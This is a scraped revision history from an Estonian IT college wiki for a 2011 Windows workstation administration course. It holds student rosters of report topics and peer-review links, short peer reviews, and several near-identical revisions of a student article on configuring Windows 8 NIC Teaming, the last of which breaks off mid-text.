* Arvestus 2: https://wiki.itcollege.ee/index.php/Talk:Windows_PE

= Velmar Piibeleht =
* Referaat: [[BitLocker To Go]]
* Arvustus 1: https://wiki.itcollege.ee/index.php/Talk:Skydrive#Velmar_Piibeleht
* Arvustus 2: https://wiki.itcollege.ee/index.php/Talk:Windows_juhend:_Kuidas_t%C3%B5sta_seadmete_draivereid_%C3%BChes_arvutist_teise

= Alo Konno =
* Referaat: [[Windows 8 - mida uut]]
* Arvustus 1:
* Arvustus 2:

= Andre- Marcel Peri =
* Referaat: [[AppLocker]]
* Arvustus 1: https://wiki.itcollege.ee/index.php/Talk:Windows_7
* Arvustus 2:

*[[ Windows PE]]-Marek Lepla
*[[ Workgroup]] - Ragnar Kullamäe

= Gertti-Vena Rätsep =
* Referaat: [[VPN & SVPN]]
* Arvestus 1:
* Arvestus 2:

= Kalju Hõbemäe =
* Referaat: [[Math Input Panel]]
* Arvestus 1: https://wiki.itcollege.ee/index.php/Talk:Math_Input_Panel
* Arvestus 2:

= Karl Krasilnikov =
* Referaat: [[PnPUtil]]
* Arvestus 1:
* Arvestus 2:

= Sander Saarm =

* Referaat: [[Toiteseadete seadistamine Windows 7 operatsioonisüsteemis]]
* Arvustus 1: https://wiki.itcollege.ee/index.php/Talk:Windows_juhend:_Kuidas_ekraanipilti_hallata_(keeramised,_p%C3%B6%C3%B6ramised,_lahutusv%C3%B5ime_ja_lisaekraanid)
* Arvustus 2: https://wiki.itcollege.ee/index.php/Talk:Disk_Defragmenter

= Carolys Kallas =

* Referaat: [[Powercfg.exe]]
* Arvustus 1:
* Arvustus 2:

= Kairo Koik =
* Referaat: [[Windows juhend: Kuidas ekraanipilti hallata (keeramised, pööramised, lahutusvõime ja lisaekraanid)]]
* Arvustus 1: https://wiki.itcollege.ee/index.php/Talk:GPT
* Arvustus 2: https://wiki.itcollege.ee/index.php/Talk:Sysprep

= Marek Lepla =
* Referaat: [[Windows PE]]
* Arvustus 1: https://wiki.itcollege.ee/index.php?title=Talk:Windows_juhend:_Kuidas_paigaldada_uuendusi_kujutisfaili_DISM_t%C3%B6%C3%B6riista_abil&action=edit&redlink=1
* Arvustus 2: https://wiki.itcollege.ee/index.php?title=Talk:Incremental_backup&action=edit&redlink=1

Talk:Windows juhend: Kuidas tõsta seadmete draivereid ühes arvutist teise

2011-10-17T15:40:16Z

Mallikso:

== Velmar Piibeleht ==
'''Sisu:''' On ära märgitud kõik hetkel rohkem kasutuses olevad Windowsi-d kuid oleks võinud rohkem välja tuua Windows XP driverite varundamisest kuna enamasti kasutatakse Win Xp-d vanematel raalidel kus ka vanem riistvara, mille drivereid netist aga nii kergelt leida ei pruugi ja vajadus driverite varundamisele on suurem. Windows Vista ja 7 on juba suhteliselt võimekad ise vajalikke drivereid leidma kuna windows update töötab üpriski adekvaadselt, enamasti vanema riistvaraga probleeme. Filerepository on küll hea võimalus kõiki drivereid korraga varundada kuid samas tänapäeval on pea kõikjal internet ning sellest tulenevalt ka uued driverid kättesaadavad ning alati on mõteks ju kasutada uusimaid töötavaid drivereid. Selle kasulikkus tuleb välja varem mainitud vanema või ka erilise riistvara kasutamisel. <br>
'''Kujundus:''' Esimene pilt kus toodud viide Device Managerile. Milleks minna ringiga kui saab otse? Windowsi märk ja kirjutada sisse Device Manager, sedagi ei pea lõpuni kirjutama. Aga see oli lihtsalt valge inimese tähelepanek kuidas asju lihtsamini teha. Üldiselt on jällegi selgeks tehtud ka võhikule, mis ongi ühe juhendi mõte.

Kokkuvõtvalt on kasulik kõigile kes ei leia oma riistvarale õigeid drivereid kuna on toodud ka välja võimalus kuidas otsida oma puuduva riistvara drivereid mida Windows Update ei leia ja mille tarkvara enam alles ei ole.

==Matis Alliksoo==
'''Sisu:'''
Sisu on hästi jälgitav ja korralik. Sisu on üles ehitatud selliselt, et ka arvutit vähem tundvad inimesed antud juhisega hakkama saaksid.

'''Kujundus:'''
Kujundus näeb hea välja. Pildid on normaalse suurusega ja erinevad path'id ja command'id on eraldi kastides hästi välja toodud.

'''Juhendi kavaliteet:'''

'''Viitamine:'''

'''Eriti meeldis:'''

Talk:Windows Virtual PC

2011-10-17T14:59:49Z

Mallikso:

=Matis Alliksoo=
'''Sisu:'''
Antud artiklist saab teada enamus vajalikud baasteadmised Virtual PC kohta - Riistvaralised nõuded, piirangud ja võimalused. Sisu järgi on väga edukalt võimalik üles seadistada üks virtuaalne Windows 7 arvuti. Lisaks oleks võinud võib-olla ainult Networkingu seadetest rääkida.

'''Kujundus:'''
Kujundus on ilus ja kõik näeb "puhas" välja. Pildid on lisatud piisava suurusega, et ka juhendi järgi tegutsedes poleks arvatavasti tarvis pilte eraldi lahti võtta ehk suurendada.

'''Juhendi kavaliteet:'''
Juhend on kvaliteetne ja seda on hea jälgida.

'''Viitamine:'''
Kõik viited peale ühe on Microsofti enda lehelt, mis on väga hea. Seda kindlam, et andmed mida artiklis kasutatud on õiged.

'''Eriti meeldis:'''
Integration componentsi lisamise ja paigaldamise osa. Hea ja vajalik lisa, mis lihtsustab paljutki.

Windows-tööjaamade haldamise aines valminud referaadid 2011 sügis, päevaõpe

2011-10-17T14:31:54Z

Mallikso: /* Matis Alliksoo */

=Jaan Igamees=
* Referaat: [[MiskiAsjalikTeema]]
* Arvustus1: https://wiki.itcollege.ee/index.php/Talk:VHD_Boot
* Arvustus2:
=Silver Kullarand=
* Referaat: [[SmartScreen Filter]]
* Arvustus1: https://wiki.itcollege.ee/index.php/Talk:Dynamic_disk
* Arvustus2: https://wiki.itcollege.ee/index.php/Talk:Windows_8_-_mida_uut

=Tambet Liiv=
* Referaat: [[Boot Configuration Data]]
* Arvustus1:
* Arvustus2:

= Kristjan Rõõm =
* Referaat: [[Security zones]]
* Arvustus1: https://wiki.itcollege.ee/index.php/Talk:VHD_Boot
* Arvustus2: https://wiki.itcollege.ee/index.php/Talk:SmartScreen_Filter

= Viljar Rooda =
* Referaat: [[Dynamic disk]]
* Arvustus1: https://wiki.itcollege.ee/index.php/Talk:Security_zones
* Arvustus2: https://wiki.itcollege.ee/index.php/Talk:SmartScreen_Filter

= Virgo Krüger =
*Referaat: [[Windows juhend: Kuidas tõsta seadmete draivereid ühes arvutist teise]]
*Arvustus1: https://wiki.itcollege.ee/index.php/Talk:Resource_Monitor
*Arvutus2: https://wiki.itcollege.ee/index.php/Talk:PnPUtil

=Tarmo Suurmägi=
* Referaat: [[System Configuration Tool]]
* Arvustus1: https://wiki.itcollege.ee/index.php/Talk:Windows_7_Upgrade_Advisor
* Arvustus2: https://wiki.itcollege.ee/index.php/Talk:System_restore_point

=Sander Saveli=
* Referaat: [[Skydrive]]
* Arvustus1: https://wiki.itcollege.ee/index.php/Talk:Draiverite_haldus_Windows_7_operatsioonis%C3%BCsteemis
* Arvustus2: https://wiki.itcollege.ee/index.php/Talk:DirectAccess

=Oliver Naaris=
* Referaat: [[Offline files]]
* Arvustus1: https://wiki.itcollege.ee/index.php/Talk:Snipping_Tool
* Arvustus2: https://wiki.itcollege.ee/index.php/Talk:Sysprep

=Sander Arnus=
* Referaat: [[Sysprep]]
* Arvustus1: https://wiki.itcollege.ee/index.php/Talk:Skydrive
* Arvustus2: https://wiki.itcollege.ee/index.php/Talk:Windows_System_Image_Manager

=Sander Pikhoff=
* Referaat: [[GPT]]
* Arvustus1: https://wiki.itcollege.ee/index.php/Talk:Reliability_Monitor
* Arvustus2: https://wiki.itcollege.ee/index.php/Talk:DirectAccess

=Henry Ilves=
* Referaat: [[Windows juhend: Kuidas ühele USB mäluseadmele korraga x86 ja x64 Windows 7 paigaldamiseks vajalik]]
* Arvustus1:
* Arvustus2:

=Teet Saar=
* Referaat: [[WAIK]]
* Arvustus1:
* Arvustus2:

=Urmo Lihten=
* Referaat: [[Windows juhend: Kuidas paigaldada uuendusi kujutisfaili DISM tööriista abil]]
* Arvustus1: https://wiki.itcollege.ee/index.php/Talk:System_Configuration_Tool
* Arvustus2:

=Rauno Lehiste=
* Referaat: [[MDT]]
* Arvustus1:
* Arvustus2:

=Kristo Kapten=
* Referaat: [[VHD Boot]]
* Arvustus1: https://wiki.itcollege.ee/index.php/Talk:Windows_juhend:_Kuidas_%C3%BChele_USB_m%C3%A4luseadmele_korraga_x86_ja_x64_Windows_7_paigaldamiseks_vajalik
* Arvustus2: https://wiki.itcollege.ee/index.php/Talk:Windows_Defender

= Kullo-Kalev Aru =
* Referaat: [[TeamViewer]]
* Arvustus1:
* Arvustus2:

=Kalmer Tart=
* Referaat: [[Reliability Monitor]]
* Arvustus1: https://wiki.itcollege.ee/index.php/Talk:Boot_Configuration_Data
* Arvustus2: https://wiki.itcollege.ee/index.php/Talk:Windows_User_State_Migration_Tool_%28USMT%29

=Priit Lilleleht=
* Referaat: [[Application Compatibility Toolkit]]
* Arvustus1:https://wiki.itcollege.ee/index.php/Talk:Math_Input_Panel
* Arvustus2:https://wiki.itcollege.ee/index.php/Talk:Disk_Defragmenter

=Sander Sülla=
* Referaat: [[Windows System Image Manager]]
* Arvustus1: https://wiki.itcollege.ee/index.php/Talk:MDT
* Arvustus2: https://wiki.itcollege.ee/index.php/Talk:Snipping_Tool

=Kertu Tampõld=
* Referaat: [[Resource Monitor]]
* Arvustus1: https://wiki.itcollege.ee/index.php/Talk:Remote_Assistance
* Arvustus2: https://wiki.itcollege.ee/index.php/Talk:Application_Compatibility_Toolkit

=Nele Kiigemägi=
*Referaat: [[Remote Assistance]]
*Arvustus1: https://wiki.itcollege.ee/index.php/Talk:Resource_Monitor
*Arvustus2: https://wiki.itcollege.ee/index.php/Talk:CHKDSK

=Kermo Pajula=
*Referaat: [[DirectAccess]]
*Arvustus1: https://wiki.itcollege.ee/index.php/Talk:Windows_8_NIC_Teaming
*Arvustus2:

=Robert Vane=
*Referaat: [[CHKDSK]]
*Arvustus1:
*Arvustus2:

=Alar Hansar=
* Referaat: [[GPO]]
* Arvustus1:
* Arvustus2:

=Kaarel Väinaste=
* Referaat: [[Snipping Tool]]
* Arvustus1:
* Arvustus2:

=Ragnar Plint=
* Referaat: [[Program Compatibility Troubleshooter]]
* Arvustus1: [[Talk:AppLocker]]
* Arvustus2: [[Talk:DirectAccess]]

=Taavi Sannik=
* Referaat: [[DISKPART]]
* Arvustus1: [[Talk:Windows_8_NIC_Teaming#Taavi_Sannik|Windows 8 NIC teaming]]
* Arvustus2:

=Priit Reidak=
* Referaat: [[Disk2vhd]]
* Arvustus1: [https://wiki.itcollege.ee/index.php/Talk:Windows_Defender Windows Defender]
* Arvustus2: [https://wiki.itcollege.ee/index.php/Talk:Boot_Configuration_Data BCD]

= Raigo Trei =
* Referaat: [[Windows 7 Upgrade Advisor]]
* Arvustus1:
* Arvustus2:

= Robert Pärn =
* Referaat: [[Special identity]]
* Arvustus1: https://wiki.itcollege.ee/index.php/Talk:Dynamic_disk
* Arvustus2: https://wiki.itcollege.ee/index.php/Talk:DISKPART

= Kristjan Karu =
* Referaat: [[Draiverite haldus Windows 7 operatsioonisüsteemis]]
* Arvustus1:
* Arvustus2:

=Iti Liivik=
* Referaat: [[Effective permissions]]
* Arvustus1: https://wiki.itcollege.ee/index.php/Talk:Draiverite_haldus_Windows_7_operatsioonis%C3%BCsteemis
* Arvustus2: https://wiki.itcollege.ee/index.php/Talk:Windows_7_Homegroup_and_sharing

=Dmitri Keler=
* Referaat: [[System restore point]]
* Arvustus1:
* Arvustus2:

=Jevgeni Pogodin=
* Referaat: [[FAT32]]
* Arvustus1: https://wiki.itcollege.ee/index.php/Talk:WAIK
* Arvustus2:

=Andres Pihlak=
* Referaat: [[Windows Virtual PC]]
* Arvustus1:
* Arvustus2:

=Deniss Ruzanov=
* Referaat: [[IPv6 võrguparameetrite seadistamine]]
* Arvustus1:
* Arvustus2:

=Martin Aarne=
* Referaat: [[Windows User State Migration Tool (USMT)]]
* Arvustus 1: https://wiki.itcollege.ee/index.php/Talk:AppLocker#Martin_Aarne_D22
* Arvustus 2: https://wiki.itcollege.ee/index.php/Talk:WAIK#Martin_Aarne_D22

=Matis Alliksoo=
* Referaat: [[Windows 8 NIC Teaming]]
* Arvustus 1: https://wiki.itcollege.ee/index.php/Talk:Windows_Virtual_PC
* Arvustus 2:

= Richard Teppart =
* Referaat: [[Volume shadow copies]]
* Arvestus 1:
* Arvestus 2:

= Igor Pavlov =
* Referaat: [[Windows Defender]]
* Arvustus 1:
* Arvustus 2:

= Taavi Podzuks =
* Referaat: [[Windows juhend: Kuidas paigaldata täiendavaid (juur)sertfikaate]]
* Arvustus1:
* Arvustus2:

=Kersti Lang=
* Referaat: [[Windows 7]]
* Arvestus 1:
* Arvestus 2:

= Gert Häusler =
* Referaat: [[Windows Biometric Framework]]
* Arvestus 1:
* Arvestus 2:

= Erki Miilberg =
* Referaat: [[Windows operatsioonisüsteemi paigaldus]]
* Arvustus 1:
* Arvustus 2:

= Rasmus Tetsmann=
* Referaat: [[Windows 7 Homegroup and sharing]]
* Arvustus 1: https://wiki.itcollege.ee/index.php/Talk:Windows_8_-_mida_uut
* Arvustus 2: https://wiki.itcollege.ee/index.php/Talk:Windows_juhend:_Kuidas_%C3%BChele_USB_m%C3%A4luseadmele_korraga_x86_ja_x64_Windows_7_paigaldamiseks_vajalik

= Lauri Rüütli =
* Referaat: [[Windows juhend: Kuidas paigaldada täiendavaid draivereid]]
* Arvestus 1: https://wiki.itcollege.ee/index.php/Talk:DISKPART
* Arvestus 2: https://wiki.itcollege.ee/index.php/Talk:WAIK

= Taavi Zeiger =
* Referaat: [[Disk Defragmenter]]
* Arvustus1: https://wiki.itcollege.ee/index.php/Talk:CHKDSK
* Arvustus2: https://wiki.itcollege.ee/index.php/Talk:Offline_files

= Kimmo Lillipuu =
* Referaat: [[Windows Remote Management]]
* Arvestus 1: https://wiki.itcollege.ee/index.php/Talk:Windows_7
* Arvestus 2: https://wiki.itcollege.ee/index.php/Talk:Windows_operatsioonisüsteemi_paigaldus

= Heigo Punapart =
* Referaat: [[Incremental backup]]
* Arvestus 1: https://wiki.itcollege.ee/index.php/Talk:Sysprep
* Arvestus 2: https://wiki.itcollege.ee/index.php/Talk:Windows_PE

= Velmar Piibeleht =
* Referaat: [[BitLocker To Go]]
* Arvustus 1: https://wiki.itcollege.ee/index.php/Talk:Skydrive#Velmar_Piibeleht
* Arvustus 2: https://wiki.itcollege.ee/index.php/Talk:Windows_juhend:_Kuidas_t%C3%B5sta_seadmete_draivereid_%C3%BChes_arvutist_teise

= Alo Konno =
* Referaat: [[Windows 8 - mida uut]]
* Arvustus 1:
* Arvustus 2:

= Andre- Marcel Peri =
* Referaat: [[AppLocker]]
* Arvustus 1: https://wiki.itcollege.ee/index.php/Talk:Windows_7
* Arvustus 2:

*[[ Windows PE]]-Marek Lepla
*[[ Workgroup]] - Ragnar Kullamäe

= Gertti-Vena Rätsep =
* Referaat: [[VPN & SVPN]]
* Arvestus 1:
* Arvestus 2:

= Kalju Hõbemäe =
* Referaat: [[Math Input Panel]]
* Arvestus 1: https://wiki.itcollege.ee/index.php/Talk:Math_Input_Panel
* Arvestus 2:

= Karl Krasilnikov =
* Referaat: [[PnPUtil]]
* Arvestus 1:
* Arvestus 2:

= Sander Saarm =

* Referaat: [[Toiteseadete seadistamine Windows 7 operatsioonisüsteemis]]
* Arvustus 1: https://wiki.itcollege.ee/index.php/Talk:Windows_juhend:_Kuidas_ekraanipilti_hallata_(keeramised,_p%C3%B6%C3%B6ramised,_lahutusv%C3%B5ime_ja_lisaekraanid)
* Arvustus 2: https://wiki.itcollege.ee/index.php/Talk:Disk_Defragmenter

= Carolys Kallas =

* Referaat: [[Powercfg.exe]]
* Arvustus 1:
* Arvustus 2:

= Kairo Koik =
* Referaat: [[Windows juhend: Kuidas ekraanipilti hallata (keeramised, pööramised, lahutusvõime ja lisaekraanid)]]
* Arvustus 1: https://wiki.itcollege.ee/index.php/Talk:GPT
* Arvustus 2: https://wiki.itcollege.ee/index.php/Talk:Sysprep

= Marek Lepla =
* Referaat: [[Windows PE]]
* Arvustus 1: https://wiki.itcollege.ee/index.php?title=Talk:Windows_juhend:_Kuidas_paigaldada_uuendusi_kujutisfaili_DISM_t%C3%B6%C3%B6riista_abil&action=edit&redlink=1
* Arvustus 2: https://wiki.itcollege.ee/index.php?title=Talk:Incremental_backup&action=edit&redlink=1

Talk:Windows Virtual PC

2011-10-17T14:31:12Z

Mallikso: Created page with '=Matis Alliksoo= '''Sisu:''' '''Kujundus:''' '''Juhendi kavaliteet:''' '''Viitamine:''' '''Eriti meeldis:''''

=Matis Alliksoo=

'''Sisu:'''

'''Kujundus:'''

'''Juhendi kavaliteet:'''

'''Viitamine:'''

'''Eriti meeldis:'''

Windows 8 NIC Teaming

2011-10-10T21:00:39Z

Mallikso:

== Tutvustus ==

NIC teaming on protsess mis võimaldab grupeerida mitut erinevat füüsilist võrgukaarti üheks loogiliseks võrgukaardiks. See protsess võimaldab suurendada vigade tolerantsi ja edastuskiiruse tasakaalu. Kogu võrgukaartide grupeerimise protsessi kutsutaksegi „teaminguks“. Teamingul on kaks eesmärki:
*'''Vigade tolerants:''' Ühendades vähemalt kaks võrgukaarti üheks loogiliseks võrgukaardiks kasvab võrgu töökindlus märgatavalt.
*'''Kiiruse tasakaal:''' Tasakaalustades võrguliiklust saab suurendada serveri ja võrgu funktsionaalsust. Paketid, mis liiguvad, saadetakse ja võetakse vastu läbi kõikide võimalike võrguseadmete.

== NIC Teaming enne Windows 8-t ==
NIC Teamingut oli varem võimalik ainult teiste erinevate edasimüüjate poolt saada. Microsoft ei taganud sellele mingisugust tuge läbi „Microsoft Product Support Service“. Selle tulemusena peale mingit uuendust ei pruukinud ka NIC Teaming enam töötada. Tihti ei olnud võimalik ka mitme erineva tarnija võrgukaarte kokku team'ida.

== Windows 8 NIC Teaming ==
Windows 8 tuleb välja kohe sisseehitatud NIC Teaminguga, ehk ei pea hakkama mingisuguseid installimisi tegema või eri tarkvara konfigureerima, mis on mingi teise edasimüüja NIC Teamingu süsteem ja mis omakorda ei oleks Microsofti poolt toetatud. Nüüd saab Windows 8-ga team'ida kahte või enamat võrgukaarti isegi siis, kui need on erinevate firmade/tootjate poolt tehtud. Veelgi enam, saab seda teami ühendada Hyper-V Virtuaalsete Arvutitega. See on ka üks enim tahetud omadus. Väga oluline on NIC Teaming just „High Availability“ keskkondades, ehk seal, kus võrgu ühenduse olemasolek on kriitiliselt vajalik koguaeg. Tähele tuleks panna aga seda, et see on hetkel veel eelvaade Windows 8-st. Seega võib Microsoft seda veel erinevat pidi täiendada või muuta.

== Kuidas konfigureerida ==
NIC Teaming'ut on võimalik konfigureerida nii läbi GUI kui ka läbi PowerShelli. PowerShellis saab NIC Teaming'ut ka valmis vastustega ära seadistada, mis teeb paigalduse vajadusel veelgi lihtsamaks.
Näide konfigureerimiseks läbi Windowsi graafilise liidese:
* Alustada tuleb Server manager liidesest, kus on võimalik näha võrguliidest, hetkel olemas olevaid teame jm. Task'ide alt tuleb valida "New Team". See käivitab viisardi uue teami tegemiseks.
[[File:NIC_t3.jpg|800x600px]]
----
* Ette tuleb viisardi aken, kuhu tuleb sisestada soovitud uue teami nimi ja valida valikust vajalikud võrguadapterid. Antud adapterid siis lisatakse teami.
[[File:NIC_t4.jpg|800x600px]]
----
* OK vajutades läheb hetk aega ja siis ilmub "Teams" listi uus team eelnevalt sisestatud nimega.
Peale valmimist on võimalik ka näha teami staatust koos erinevate andmetega. Nii vähe ongi vaja, et teha valmis NIC Teaming uues tulevases Windowsis.
[[File:NIC_t5b.jpg]]
----
* Minnes arvuti "Network Connections" alla on näha, et sinna on tekkinud juurde uus võrk.
[[File:NIC_t6b.jpg]]
[[File:NIC_t7b.jpg]]
----
* Antud pildi pealt on näha, kuidas teami "DemoTeam" staatuses on Warning. Pildilt on ka näha, et üks võrgukaartidest on lahti ühendatud, kuid tänu NIC Teaming'ule toimib võrguühendus ikka sama moodi edasi. Pingimine ei katke, ega ka failide kopeerimine või downloadimine.
[[File:NIC_Teaming.JPG|800x600px]]

== Kasutatud materjalid ==
* Windows Server 8 - Sneak Peek WPC 2011 - HyperV Replica - http://www.youtube.com/watch?v=Xz9f2G7drEg&feature=related
* http://www.aidanfinn.com/?p=11787
* http://workinghardinit.wordpress.com/2011/09/21/windows-8-server-developer-preview-nic-teaming-in-the-operating-system-works-just-fine/
* http://virtualisationandmanagement.wordpress.com/2011/09/16/windows-8-server-native-support-for-nic-teaming/
* http://blog.concurrency.com/infrastructure/windows-8-nic-teaming-and-networking/

== Koostas ==
Matis Alliksoo A22

Windows 8 NIC Teaming

2011-10-10T20:43:53Z

Mallikso:

== Tutvustus ==

NIC teaming on protsess mis võimaldab grupeerida mitu erinevat füüsilist võrgukaarti üheks loogiliseks võrgukaardiks. See protsess võimaldab suurendada vigade tolerantsi ja edastus kiiruse tasakaalu. Kogu võrgukaartude grupeerimise protsessi kutsutaksegi „teaminguks“. Teamingul on kaks eesmärki:
*'''Vigade tolerants:''' Ühendades vähemalt kaks võrgukaarti üheks loogiliseks võrgukaardiks kasvab võrgu töökindlus märgatavalt.
*'''Kiiruse tasakaal:''' Tasakaalustades võrguliiklust saab suurendada serveri ja võrgu funktsionaalsust. Paketid mis liiguvad saadetakse ja võetakse vastu läbi kõikide võimalike võrguseadmete.

== NIC Teaming enne Windows 8-t ==
NIC Teamingut oli varem võimalik ainult teiste erinevate edasimüüjate poolt saada. Microsoft ei taganud sellele mingisugust tuge läbi „Microsoft Product Support Service“. Selle tulemusena peale mingit uuendust ei pruukinud ka NIC Teaming enam töötada. Tihti ei olnud võimalik ka mitme erineva tarnija võrgukaarte kokku teamida.

== Windows 8 NIC Teaming ==
Windows 8 tuleb välja kohe sisseehitatud NIC Teaminguga. Ehk ei pea hakkama mingisuguseid intsallimisi tegema või eri tarkvara konfigureerima, mis on mingi teise edasimüüja NIC Teamingu süsteem ja mis omakorda ei oleks Microsofti poolt toetatud. Nüüd saab Windows 8-ga teamida 2 või enam võrgukaarte isegi siis, kui need on erinevate firmade/tootjate poolt tehtud. Veelgi enam, saab seda teami ühendada Hyper-V Virtuaalsete Arvutitega. See on ka üks enim tahetud omadus. Väga oluline on NIC Teaming just „High Availability“ keskkondades, ehk seal kus võrgu ühenduse olemasolek on kriitiliselt vajalik kogu aeg. Tähele tuleks panna aga seda, et see on hetkel veel eelvaade Windows 8-st. Seega võib Microsoft seda veel erinevat pidi täiendada või muuta.

== Kuidas konfigureerida ==
NIC Teamingut on võimalik konfigureerida läbi GUI kui ka läbi PowerShelli. PowerShellis saab NIC Teamingut ka valmis vastustega ära seadistada, mis teeb paigalduse vajadusel veelgi lihtsamaks.
Näide konfigureerimiseks läbi Windowsi graafilise liidese:
* Alustada tuleb Server manager liidesest, kus on võimalik näha võrguliidest, hetkel olemas olevaid teame jm. Taskide alt tuleb valida "New Team". See käivitab viisardi uue teami tegemiseks.
[[File:NIC_t3.jpg|800x600px]]
----
* Ette tuleb viisardi aken, kuhu tuleb sisestada soovitud uue teami nimi ja valida valikust vajalikud võrguadapterid. Antud adapterid siis lisatakse teami.
[[File:NIC_t4.jpg|800x600px]]
----
* OK vajutades läheb hetk aega ja siis ilmub "Teams" listi uus team eelnevalt sisestatud nimega.
Peale valmimist on võimalik ka näha teami staatust koos erinevate andmetega. Nii vähe ongi vaja, et teha valmis NIC Teaming uues tulevas Windowsis.
[[File:NIC_t5b.jpg]]
----
* Minnes arvuti "Network Connections" alla on näha, et sinna on tekkinud juurde uus võrk.
[[File:NIC_t6b.jpg]]
[[File:NIC_t7b.jpg]]
----
* Antud pildi pealt on näha, kuidas teami "DemoTeam" staatuses on Warning. Pildilt on ka näha, et üks võrgukaartidest on lahti ühendatud, kuid tänu NIC Teamingule toimib võrguühendus ikka sama moodi edasi. Pingimine ei katke, ega ka failide kopeerimine või downloadimine.
[[File:NIC_Teaming.JPG|800x600px]]

== Kasutatud materjalid ==
* Windows Server 8 - Sneak Peek WPC 2011 - HyperV Replica - http://www.youtube.com/watch?v=Xz9f2G7drEg&feature=related
* http://www.aidanfinn.com/?p=11787
* http://workinghardinit.wordpress.com/2011/09/21/windows-8-server-developer-preview-nic-teaming-in-the-operating-system-works-just-fine/
* http://virtualisationandmanagement.wordpress.com/2011/09/16/windows-8-server-native-support-for-nic-teaming/
* http://blog.concurrency.com/infrastructure/windows-8-nic-teaming-and-networking/

== Koostas ==
Matis Alliksoo A22

Windows 8 NIC Teaming

2011-10-10T20:38:30Z

Mallikso:

== Tutvustus ==

NIC teaming on protsess mis võimaldab grupeerida mitu erinevat füüsilist võrgukaarti üheks loogiliseks võrgukaardiks. See protsess võimaldab suurendada vigade tolerantsi ja edastus kiiruse tasakaalu. Kogu võrgukaartude grupeerimise protsessi kutsutaksegi „teaminguks“. Teamingul on kaks eesmärki:
*'''Vigade tolerants:''' Ühendades vähemalt kaks võrgukaarti üheks loogiliseks võrgukaardiks kasvab võrgu töökindlus märgatavalt.
*'''Kiiruse tasakaal:''' Tasakaalustades võrguliiklust saab suurendada serveri ja võrgu funktsionaalsust. Paketid mis liiguvad saadetakse ja võetakse vastu läbi kõikide võimalike võrguseadmete.

== NIC Teaming enne Windows 8-t ==
NIC Teamingut oli varem võimalik ainult teiste erinevate edasimüüjate poolt saada. Microsoft ei taganud sellele mingisugust tuge läbi „Microsoft Product Support Service“. Selle tulemusena peale mingit uuendust ei pruukinud ka NIC Teaming enam töötada. Tihti ei olnud võimalik ka mitme erineva tarnija võrgukaarte kokku teamida.

== Windows 8 NIC Teaming ==
Windows 8 tuleb välja kohe sisseehitatud NIC Teaminguga. Ehk ei pea hakkama mingisuguseid intsallimisi tegema või eri tarkvara konfigureerima, mis on mingi teise edasimüüja NIC Teamingu süsteem ja mis omakorda ei oleks Microsofti poolt toetatud. Nüüd saab Windows 8-ga teamida 2 või enam võrgukaarte isegi siis, kui need on erinevate firmade/tootjate poolt tehtud. Veelgi enam, saab seda teami ühendada Hyper-V Virtuaalsete Arvutitega. See on ka üks enim tahetud omadus. Väga oluline on NIC Teaming just „High Availability“ keskkondades, ehk seal kus võrgu ühenduse olemasolek on kriitiliselt vajalik kogu aeg. Tähele tuleks panna aga seda, et see on hetkel veel eelvaade Windows 8-st. Seega võib Microsoft seda veel erinevat pidi täiendada või muuta.

== Kuidas konfigureerida ==
NIC Teamingut on võimalik konfigureerida läbi GUI kui ka läbi PowerShelli. PowerShellis saab NIC Teamingut ka valmis vastustega ära seadistada, mis teeb paigalduse vajadusel veelgi lihtsamaks.
Näide konfigureerimiseks läbi Windowsi graafilise liidese:
* Alustada tuleb Server manager liidesest, kus on võimalik näha võrguliidest, hetkel olemas olevaid teame jm. Taskide alt tuleb valida "New Team". See käivitab wizardi uue teami tegemiseks.
[[File:NIC_t3.jpg|800x600px]]
----
* Ette tuleb wizardi aken, kuhu tuleb sisestada soovitud uue teami nimi ja valida valikust vajalikud võrguadapterid. Antud adapterid siis lisatakse teami.
[[File:NIC_t4.jpg|800x600px]]
----
* OK vajutades läheb hetk aega ja siis ilmub "Teams" listi uus team eelnevalt sisestatud nimega.
Peale valmimist on võimalik ka näha teami staatust koos erinevate andmetega. Nii vähe ongi vaja, et teha valmis NIC Teaming uues tulevas Windowsis.
[[File:NIC_t5b.jpg]]
----
* Minnes arvuti "Network Connections" alla on näha, et sinna on tekkinud juurde uus võrk.
[[File:NIC_t6b.jpg]]
[[File:NIC_t7b.jpg]]
----
* Antud pildi pealt on näha, kuidas teami "DemoTeam" staatuses on Warning. Pildilt on ka näha, et üks võrgukaartidest on lahti ühendatud, kuid tänu NIC Teamingule toimib võrguühendus ikka sama moodi edasi. Pingimine ei katke, ega ka failide kopeerimine või downloadimine.
[[File:NIC_Teaming.JPG|800x600px]]

== Kasutatud materjalid ==
* Windows Server 8 - Sneak Peek WPC 2011 - HyperV Replica - http://www.youtube.com/watch?v=Xz9f2G7drEg&feature=related
* http://www.aidanfinn.com/?p=11787
* http://workinghardinit.wordpress.com/2011/09/21/windows-8-server-developer-preview-nic-teaming-in-the-operating-system-works-just-fine/
* http://virtualisationandmanagement.wordpress.com/2011/09/16/windows-8-server-native-support-for-nic-teaming/
* http://blog.concurrency.com/infrastructure/windows-8-nic-teaming-and-networking/

== Koostas ==
Matis Alliksoo A22

Windows 8 NIC Teaming

2011-10-10T20:37:09Z

Mallikso:

== Tutvustus ==

NIC teaming on protsess mis võimaldab grupeerida mitu erinevat füüsilist võrgukaarti üheks loogiliseks võrgukaardiks. See protsess võimaldab suurendada vigade tolerantsi ja edastus kiiruse tasakaalu. Kogu võrgukaartude grupeerimise protsessi kutsutaksegi „teaminguks“. Teamingul on kaks eesmärki:
*'''Vigade tolerants:''' Ühendades vähemalt kaks võrgukaarti üheks loogiliseks võrgukaardiks kasvab võrgu töökindlus märgatavalt.
*'''Kiiruse tasakaal:''' Tasakaalustades võrguliiklust saab suurendada serveri ja võrgu funktsionaalsust. Paketid mis liiguvad saadetakse ja võetakse vastu läbi kõikide võimalike võrguseadmete.

== NIC Teaming enne Windows 8-t ==
NIC Teamingut oli varem võimalik ainult teiste erinevate edasimüüjate poolt saada. Microsoft ei taganud sellele mingisugust tuge läbi „Microsoft Product Support Service“. Selle tulemusena peale mingit uuendust ei pruukinud ka NIC Teaming enam töötada. Tihti ei olnud võimalik ka mitme erineva tarnija võrgukaarte kokku teamida.

== Windows 8 NIC Teaming ==
